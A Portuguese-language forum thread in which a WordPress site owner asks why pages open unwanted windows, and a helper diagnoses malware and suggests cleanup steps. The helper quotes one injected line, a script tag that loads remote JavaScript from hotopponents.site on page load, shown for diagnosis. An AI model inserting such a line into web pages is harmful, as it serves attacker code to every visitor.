WordPress Abertura de duas janelas no browser

Joaquim Lima · 14 de outubro de 2018

Olá amigos;

Criei um site com o wordpress no meu servidor (Amen.pt). para um cliente - Site:https://maestrosamuelsantos.com

Acontece que depois de entrar no site, sempre que se clica numa página do menu, além de entrar nessa página, abre sempre outra.

Páginas que abrem:

1) https://.pushnotar.com/?h=582958011_623f7227eee_4_*_def_sub_*_sub_id_2&cnv=1#

2) https://stackoverflow.com/

Instalei o plugin Wordfence e corri a aplicação, mas não adiantou.

O problema continua. com os browsers: Chrome e Mozilha.

No internet explorer essa situação não acontece.

Peço-vos por favor que me ajudem.

Obrigado

Joaquim Lima

Editado às: 21h35

Olá de novo.

Fiquei com o mesmo problema noutro site criado com o Wordpress(instalado no mesmo servidor). O site é: https://orfeaodeespinho.com.

Eliminei a instalação do Wordpress no Cpanel e fiz uma nova instalação com uma nova base de dados. O problema persistiu. Esse site está agora em modo de manutenção, mas podem ver o comportamento no outro site: https://maestrosamuelsantos.com.

Não sei como posso resolver por isso peço a vossa ajuda.

Um abraço

Joaquim

navegantenarede · 15 de outubro de 2018

@Joaquim Lima mesmo sem clicar em nada eu sou redirecionado, provavelmente um malware no seu site. Está usando a versão mais atualizada no WordPress?

Se mesmo reinstalando a instância do WordPress não resolveu, eu te recomendaria fazer uma limpeza geral no servidor, talvez até pedindo ajuda ao suporte técnico para fazer pra você.

Aparentemente tem um script no seu index fazendo uma chamada para outros sites, na seguinte linha:

<p><script src='https://hotopponents.site/site.js' type='text/javascript'></script></p>

Há mais de uma ocorrência da chamada desse script, então seria bom verificar para fazer uma limpeza geral.

Joaquim Lima · 15 de outubro de 2018

Olá amigo;

Obrigado pela resposta.

Eu tenho como fazer o reset ao meu espaço no servidor. Entretanto instalei o plugin Anti-Malware e corri a aplicação que enviou 85 ficheiros para a quarentena.

Depois da desinfeção o problema persiste e a versão do Wordpress é a mais recente.

Se eu fizer o reset, faço uma cópia com o plugin duplicator e depois restauro o site.

Mas, se eu fizer dessa forma fica de novo infetado? Os scrips continuam depois da desinfeção do Anti-Malware.

Se me pudesse orientar eu ficava agradecido.

Obrigado

Um abraço

Joaquim

navegantenarede · 16 de outubro de 2018

@Joaquim Lima se você restaurar o backup estando infectado, vai continuar infectado. A menos que você identifique qual script casou a vulnerabilidade, seria arriscado manter os sites no servidor dessa forma, mesmo apagando a linha que faz a chamada para o script JS que comentei.

Uma ideia seria fazer uma varredura no diretório do site pesquisando pelo arquivo JS que foi incluído e remover de todos, e acompanhar se volta a ocorrer.